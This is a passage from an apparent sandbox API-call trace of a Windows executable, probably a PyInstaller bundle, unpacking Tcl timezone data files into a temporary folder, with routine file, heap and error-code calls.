lpMem=0x546940 | out: hHeap=0x530000) returned 1 [0041.153] htonl (hostlong=0x40000000) returned 0x40 [0041.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.154] GetFileType (hFile=0x10c) returned 0x1 [0041.154] htonl (hostlong=0xff915b00) returned 0x5b91ff [0041.154] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6041ff, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.154] htonl (hostlong=0x8e000000) returned 0x8e [0041.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0041.154] htonl (hostlong=0x8e000000) returned 0x8e [0041.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.154] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.154] htonl (hostlong=0xbd000000) returned 0xbd [0041.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbd) returned 0x55d360 [0041.154] htonl (hostlong=0x8e000000) returned 0x8e [0041.154] htonl (hostlong=0xbd000000) returned 0xbd [0041.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.154] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.154] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.154] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.154] CloseHandle (hObject=0x10c) returned 1 [0041.154] GetLastError () returned 0x0 [0041.154] SetLastError (dwErrCode=0x0) [0041.154] GetLastError () returned 0x0 [0041.154] SetLastError (dwErrCode=0x0) [0041.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.154] GetFileType (hFile=0x10c) returned 0x1 [0041.154] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.155] CloseHandle (hObject=0x10c) returned 1 [0041.155] GetLastError () returned 0x0 [0041.155] SetLastError (dwErrCode=0x0) [0041.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.155] GetFileType (hFile=0x10c) returned 0x1 [0041.155] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.155] CloseHandle (hObject=0x10c) returned 1 [0041.155] GetLastError () returned 0x0 [0041.155] SetLastError (dwErrCode=0x0) [0041.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil") returned 63 [0041.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.156] GetLastError () returned 0x2 [0041.156] SetLastError (dwErrCode=0x2) [0041.156] GetLastError () returned 0x2 [0041.156] SetLastError (dwErrCode=0x2) [0041.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil", lpFilePart=0x0) returned 0x3e [0041.156] GetLastError () returned 0x2 [0041.156] SetLastError (dwErrCode=0x2) [0041.156] GetLastError () returned 0x2 [0041.156] SetLastError (dwErrCode=0x2) [0041.156] GetLastError () returned 0x2 [0041.156] SetLastError (dwErrCode=0x2) [0041.156] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil"), lpSecurityAttributes=0x0) returned 1 [0041.157] GetLastError () returned 0x2 [0041.157] SetLastError (dwErrCode=0x2) [0041.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\Acre") returned 68 [0041.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\Acre" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil\\acre"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.157] GetLastError () returned 0x2 [0041.157] SetLastError (dwErrCode=0x2) [0041.157] GetLastError () returned 0x2 [0041.157] SetLastError (dwErrCode=0x2) [0041.157] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\Acre", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\Acre", lpFilePart=0x0) returned 0x43 [0041.157] GetLastError () returned 0x2 [0041.157] SetLastError (dwErrCode=0x2) [0041.157] GetLastError () returned 0x2 [0041.158] SetLastError (dwErrCode=0x2) [0041.158] GetLastError () returned 0x2 [0041.158] SetLastError (dwErrCode=0x2) [0041.158] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\Acre") returned 68 [0041.158] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\Acre" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil\\acre"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.160] GetFileType (hFile=0x10c) returned 0x1 [0041.160] htonl (hostlong=0xbd000000) returned 0xbd [0041.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.160] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbd, lpOverlapped=0x0) returned 1 [0041.161] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.161] CloseHandle (hObject=0x10c) returned 1 [0041.162] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d360 | out: hHeap=0x530000) returned 1 [0041.162] htonl (hostlong=0x30000000) returned 0x30 [0041.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.162] GetFileType (hFile=0x10c) returned 0x1 [0041.162] htonl (hostlong=0x8d925b00) returned 0x5b928d [0041.162] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60428d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.162] htonl (hostlong=0x8b000000) returned 0x8b [0041.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0041.162] htonl (hostlong=0x8b000000) returned 0x8b [0041.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.162] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.162] htonl (hostlong=0xb9000000) returned 0xb9 [0041.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55e170 [0041.162] htonl (hostlong=0x8b000000) returned 0x8b [0041.162] htonl (hostlong=0xb9000000) returned 0xb9 [0041.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.162] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.162] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.162] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.162] CloseHandle (hObject=0x10c) returned 1 [0041.162] GetLastError () returned 0x0 [0041.162] SetLastError (dwErrCode=0x0) [0041.162] GetLastError () returned 0x0 [0041.163] SetLastError (dwErrCode=0x0) [0041.163] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.163] GetFileType (hFile=0x10c) returned 0x1 [0041.163] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.163] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.163] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.163] CloseHandle (hObject=0x10c) returned 1 [0041.163] GetLastError () returned 0x0 [0041.163] SetLastError (dwErrCode=0x0) [0041.163] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.163] GetFileType (hFile=0x10c) returned 0x1 [0041.163] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.163] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.163] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.164] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.164] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.164] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.164] CloseHandle (hObject=0x10c) returned 1 [0041.164] GetLastError () returned 0x0 [0041.164] SetLastError (dwErrCode=0x0) [0041.164] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil") returned 63 [0041.164] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.164] GetFileType (hFile=0x10c) returned 0x1 [0041.164] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.164] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.164] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.164] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.164] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.164] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.164] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.164] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.164] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.164] CloseHandle (hObject=0x10c) returned 1 [0041.164] GetLastError () returned 0x0 [0041.164] SetLastError (dwErrCode=0x0) [0041.164] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\DeNoronha") returned 73 [0041.164] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\DeNoronha" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil\\denoronha"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.165] GetLastError () returned 0x2 [0041.165] SetLastError (dwErrCode=0x2) [0041.165] GetLastError () returned 0x2 [0041.165] SetLastError (dwErrCode=0x2) [0041.165] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\DeNoronha", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\DeNoronha", lpFilePart=0x0) returned 0x48 [0041.165] GetLastError () returned 0x2 [0041.165] SetLastError (dwErrCode=0x2) [0041.165] GetLastError () returned 0x2 [0041.165] SetLastError (dwErrCode=0x2) [0041.165] GetLastError () returned 0x2 [0041.165] SetLastError (dwErrCode=0x2) [0041.165] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\DeNoronha") returned 73 [0041.165] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.165] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\DeNoronha" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil\\denoronha"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.165] GetFileType (hFile=0x10c) returned 0x1 [0041.165] htonl (hostlong=0xb9000000) returned 0xb9 [0041.165] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.165] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0041.166] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.166] CloseHandle (hObject=0x10c) returned 1 [0041.166] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e170 | out: hHeap=0x530000) returned 1 [0041.166] htonl (hostlong=0x30000000) returned 0x30 [0041.166] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.166] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.167] GetFileType (hFile=0x10c) returned 0x1 [0041.167] htonl (hostlong=0x18935b00) returned 0x5b9318 [0041.167] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x604318, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.167] htonl (hostlong=0x8e000000) returned 0x8e [0041.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0041.167] htonl (hostlong=0x8e000000) returned 0x8e [0041.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.167] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.167] htonl (hostlong=0xba000000) returned 0xba [0041.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xba) returned 0x55df18 [0041.167] htonl 